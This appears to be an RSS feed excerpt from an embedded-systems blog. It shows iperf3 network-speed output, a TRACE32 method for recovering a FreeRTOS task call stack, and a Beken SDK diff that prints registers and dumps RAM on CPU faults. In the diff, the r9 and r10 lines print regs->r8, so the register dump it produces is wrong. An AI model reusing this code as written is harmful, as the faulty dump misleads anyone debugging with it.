</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   3.00-4.00   sec  4.35 MBytes  36.5 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   4.00-5.00   sec  4.29 MBytes  35.9 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   5.00-6.00   sec  4.31 MBytes  36.3 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   6.00-7.00   sec  4.26 MBytes  35.7 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   7.00-8.00   sec  4.09 MBytes  34.3 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   8.00-9.00   sec  4.32 MBytes  36.2 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   9.00-10.00  sec  4.42 MBytes  37.0 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>  10.00-10.06  sec   <span class="m">218</span> KBytes  30.2 Mbits/sec
</span></span><span class="line"><span class="cl">- - - - - - - - - - - - - - - - - - - - - - - - -
</span></span><span class="line"><span class="cl"><span class="o">[</span> ID<span class="o">]</span> Interval           Transfer     Bandwidth
</span></span><span class="line"><span class="cl"><span class="o">[</span>  5<span class="o">]</span>   0.00-10.06  sec  42.7 MBytes  35.6 Mbits/sec                  receiver
</span></span><span class="line"><span class="cl">-----------------------------------------------------------
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># PC 端作为 client， 手机端作为 server</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\i</span>perf3.exe -c 192.168.0.200
</span></span><span class="line"><span class="cl">Connecting to host 192.168.0.200, port <span class="m">5201</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span> <span class="nb">local</span> 192.168.0.100 port <span class="m">63669</span> connected to 192.168.0.200 port <span class="m">5201</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span> ID<span class="o">]</span> Interval           Transfer     Bandwidth
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   0.00-1.01   sec  2.12 MBytes  17.7 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   1.01-2.01   sec  3.88 MBytes  32.6 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   2.01-3.01   sec  4.50 MBytes  37.7 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   3.01-4.01   sec  4.75 MBytes  39.7 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   4.01-5.00   sec  5.00 MBytes  42.4 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   5.00-6.01   sec  4.75 MBytes  39.5 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   6.01-7.01   sec  4.75 MBytes  39.9 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   7.01-8.01   sec  6.12 MBytes  51.4 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   8.01-9.00   sec  6.00 MBytes  50.8 Mbits/sec
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   9.00-10.00  sec  5.75 MBytes  48.2 Mbits/sec
</span></span><span class="line"><span class="cl">- - - - - - - - - - - - - - - - - - - - - - - - -
</span></span><span class="line"><span class="cl"><span class="o">[</span> ID<span class="o">]</span> Interval           Transfer     Bandwidth
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   0.00-10.00  sec  47.6 MBytes  39.9 Mbits/sec                  sender
</span></span><span class="line"><span class="cl"><span class="o">[</span>  4<span class="o">]</span>   0.00-10.00  sec  47.6 MBytes  39.9 Mbits/sec                  receiver
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">iperf Done.
</span></span></code></pre></td></tr></table>
</div>
</div><p>然后实网测速结果：
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20241108/cdfaaa201d0d42722f2c9c3aa3ad254.6m3wz3nffy.webp" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>TRACE32 中通过任务栈中保存的数据恢复 freertos 某个任务调用栈的方法</title>
      <link>https://hacperme.com/posts/series/dump/20240731_fc41d_freertos_stackframe/</link>
      <pubDate>Wed, 31 Jul 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20240731_fc41d_freertos_stackframe/</guid>
      <description>介绍怎么通过tcb中栈的数据恢复任务调用栈。</description>
      <content:encoded><![CDATA[<p>T32 加载 dump 之后看不到任务调用栈，是因为寄存器的值异常，导致任务调用栈没解析出来。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240731/image.7p3ib6p4y8.webp" alt=""  />
</p>
<p>可以通过 tcb 中栈数据恢复寄存器的值：
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240731/image.3k7wz2uwfy.webp" alt=""  />
</p>
<p>打开对应的 task struct，dump pxTopOfStack(0x411420) 指向的内存数据
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240731/image.4jo0c92xsd.webp" alt=""  />
</p>
<p>在pxTopOfStack(0x411420)的第8字节开始，对应寄存器 r1 ~ r15(pc)的值，分别将这些值设置到寄存器。
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240731/image.73tuowfe49.webp" alt=""  />
</p>
<p>这样任务调用栈便恢复了，可以继续进行下一步的分析。</p>
]]></content:encoded>
    </item>
    <item>
      <title>为 FC41D 添加 ramdump 和 trace32 离线分析调试方法</title>
      <link>https://hacperme.com/posts/series/dump/20240723_fc41d_ramdump_trace32/</link>
      <pubDate>Tue, 23 Jul 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20240723_fc41d_ramdump_trace32/</guid>
      <description>增加 ramdump 离线调试方法，解 bug 更加得心应手。</description>
      <content:encoded><![CDATA[<p>想要使用 Trace32 Simulators 离线解析 ramdump，必须具备以下 3 个条件：</p>
<ul>
<li>知道当前寄存器的值</li>
<li>能够获取到当前运行状态下 ram 的数据</li>
<li>能获取到当前使用的 elf 文件</li>
</ul>
<h2 id="代码修改">代码修改</h2>
<p>修改代码，将 ram 、 tcm 的数据打印到log，按照 trace 32 的脚本格式，将寄存器数据打印到log。
新增一个 bk_dump_parser.py 脚本，从log中提取ram、tcm、寄存器数据，并写入到文件。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl"><span class="gh">diff --git a/beken_freertos_sdk_release-SDK_3.0.21/beken378/app/config/sys_config_bk7231n.h b/beken_freertos_sdk_release-SDK_3.0.21/beken378/app/config/sys_config_bk7231n.h
</span></span></span><span class="line"><span class="cl"><span class="gh">index 601f3d63..bbbe8d4c 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/beken_freertos_sdk_release-SDK_3.0.21/beken378/app/config/sys_config_bk7231n.h
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/beken_freertos_sdk_release-SDK_3.0.21/beken378/app/config/sys_config_bk7231n.h
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -308,4 +308,6 @@
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>    #define CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN      4096
</span></span><span class="line"><span class="cl"> #endif
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gi">+#define CFG_RAM_DUMP_ENABLE                               1
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> #endif // _SYS_CONFIG_H_
</span></span><span class="line"><span class="cl"><span class="gh">diff --git a/beken_freertos_sdk_release-SDK_3.0.21/beken378/driver/intc/intc.c b/beken_freertos_sdk_release-SDK_3.0.21/beken378/driver/intc/intc.c
</span></span></span><span class="line"><span class="cl"><span class="gh">index bb17af8e..d069d95d 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/beken_freertos_sdk_release-SDK_3.0.21/beken378/driver/intc/intc.c
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/beken_freertos_sdk_release-SDK_3.0.21/beken378/driver/intc/intc.c
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -365,8 +365,112 @@ void bk_show_register (struct arm_registers *regs)
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>     }
</span></span><span class="line"><span class="cl">     
</span></span><span class="line"><span class="cl">     os_printf(&#34;\r\n&#34;);
</span></span><span class="line"><span class="cl"><span class="gi">+#if CFG_RAM_DUMP_ENABLE
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;; CPU Registers:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;reg_cmm_start:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set cpsr 0x%08x\r\n&#34;, regs-&gt;cpsr);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set spsr 0x%08x\r\n&#34;, regs-&gt;spsr);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set pc 0x%08x\r\n&#34;, regs-&gt;pc);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r0 0x%08x\r\n&#34;, regs-&gt;r0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r1 0x%08x\r\n&#34;, regs-&gt;r1);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r2 0x%08x\r\n&#34;, regs-&gt;r2);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r3 0x%08x\r\n&#34;, regs-&gt;r3);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r4 0x%08x\r\n&#34;, regs-&gt;r4);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r5 0x%08x\r\n&#34;, regs-&gt;r5);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r6 0x%08x\r\n&#34;, regs-&gt;r6);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r7 0x%08x\r\n&#34;, regs-&gt;r7);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r8 0x%08x\r\n&#34;, regs-&gt;r8);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r9 0x%08x\r\n&#34;, regs-&gt;r8);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r10 0x%08x\r\n&#34;, regs-&gt;r8);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r11 0x%08x\r\n&#34;, regs-&gt;fp);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;register.set r12 0x%08x\r\n&#34;, regs-&gt;ip);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if((regs-&gt;spsr &amp; 0x3f) == 0x20)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r13 0x%08x\r\n&#34;, regs-&gt;sp);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r14 0x%08x\r\n&#34;, regs-&gt;lr);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else if((regs-&gt;spsr &amp; 0x3f) == 0x21)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        reg1 = (const unsigned int *)0x400068;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r13 0x%08x\r\n&#34;, *(reg1+7));
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r14 0x%08x\r\n&#34;, *(reg1+8));
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else if((regs-&gt;spsr &amp; 0x3f) == 0x22)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        reg1 = (const unsigned int *)0x400044;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r13 0x%08x\r\n&#34;, *(reg1+7));
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r14 0x%08x\r\n&#34;, *(reg1+8));
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else if((regs-&gt;spsr &amp; 0x3f) == 0x23)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        reg1 = (const unsigned int *)0x4000d4;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r13 0x%08x\r\n&#34;, *(reg1+7));
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r14 0x%08x\r\n&#34;, *(reg1+8));
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else if((regs-&gt;spsr &amp; 0x3f) == 0x27)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        reg1 = (const unsigned int *)0x40008c;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r13 0x%08x\r\n&#34;, *(reg1+7));
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r14 0x%08x\r\n&#34;, *(reg1+8));
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else if((regs-&gt;spsr &amp; 0x3f) == 0x33)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        reg1 = (const unsigned int *)0x4000b0;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r13 0x%08x\r\n&#34;, *(reg1+7));
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r14 0x%08x\r\n&#34;, *(reg1+8));
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else if((regs-&gt;spsr &amp; 0x3f) == 0x3f)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        reg1 = (const unsigned int *)0x400024;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r13 0x%08x\r\n&#34;, *(reg1+6));
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;register.set r14 0x%08x\r\n&#34;, *(reg1+7));
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;\r\nreg_cmm_end:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+#endif
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> 
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl"><span class="gi">+#if CFG_RAM_DUMP_ENABLE
</span></span></span><span class="line"><span class="cl"><span class="gi">+void bk_ram_dump(void)
</span></span></span><span class="line"><span class="cl"><span class="gi">+{
</span></span></span><span class="line"><span class="cl"><span class="gi">+    unsigned char *tcm_start = (unsigned char *)0x003F0000;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    // unsigned char *itcm_start = (unsigned char *)0x003FF000;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    unsigned char *ram_start = (unsigned char *)0x00400100;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    bk_wdg_finalize();
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;dump tcm:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;tcm_start:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    for (size_t i = 0; i &lt; (1024 *60); i++)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if(i%16 == 0)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        {
</span></span></span><span class="line"><span class="cl"><span class="gi">+            os_printf(&#34;\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        }
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;%02x &#34;, tcm_start[i]);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;\r\ntcm_end:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;dump ram:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;ram_start:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    for (size_t i = 0; i &lt; (1024 *192-0x100); i++)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if(i%16 == 0)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        {
</span></span></span><span class="line"><span class="cl"><span class="gi">+            os_printf(&#34;\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        }
</span></span></span><span class="line"><span class="cl"><span class="gi">+        os_printf(&#34;%02x &#34;, ram_start[i]);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;\r\nram_end:\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    os_printf(&#34;\r\n&#34;);
</span></span></span><span class="line"><span class="cl"><span class="gi">+}
</span></span></span><span class="line"><span class="cl"><span class="gi">+#endif
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> 
</span></span><span class="line"><span class="cl"> void bk_trap_udef(struct arm_registers *regs)
</span></span><span class="line"><span class="cl"> {
</span></span><span class="line"><span class="cl"><span class="gu">@@ -377,6 +481,9 @@ void bk_trap_udef(struct arm_registers *regs)
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> #endif
</span></span><span class="line"><span class="cl">     os_printf(&#34;undefined instruction\n&#34;);
</span></span><span class="line"><span class="cl">     bk_show_register(regs);
</span></span><span class="line"><span class="cl"><span class="gi">+#if CFG_RAM_DUMP_ENABLE
</span></span></span><span class="line"><span class="cl"><span class="gi">+    bk_ram_dump();
</span></span></span><span class="line"><span class="cl"><span class="gi">+#endif
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     bk_cpu_shutdown();
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gu">@@ -389,6 +496,9 @@ void bk_trap_pabt(struct arm_registers *regs)
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> #endif
</span></span><span class="line"><span class="cl">     os_printf(&#34;prefetch abort\n&#34;);
</span></span><span class="line"><span class="cl">     bk_show_register(regs);
</span></span><span class="line"><span class="cl"><span class="gi">+#if CFG_RAM_DUMP_ENABLE
</span></span></span><span class="line"><span class="cl"><span class="gi">+    bk_ram_dump();
</span></span></span><span class="line"><span class="cl"><span class="gi">+#endif
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     bk_cpu_shutdown();
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gu">@@ -401,6 +511,9 @@ void bk_trap_dabt(struct arm_registers *regs)
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> #endif
</span></span><span class="line"><span class="cl">     os_printf(&#34;data abort\n&#34;);
</span></span><span class="line"><span class="cl">     bk_show_register(regs);
</span></span><span class="line"><span class="cl"><span class="gi">+#if CFG_RAM_DUMP_ENABLE
</span></span></span><span class="line"><span class="cl"><span class="gi">+    bk_ram_dump();
</span></span></span><span class="line"><span class="cl"><span class="gi">+#endif
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     bk_cpu_shutdown();
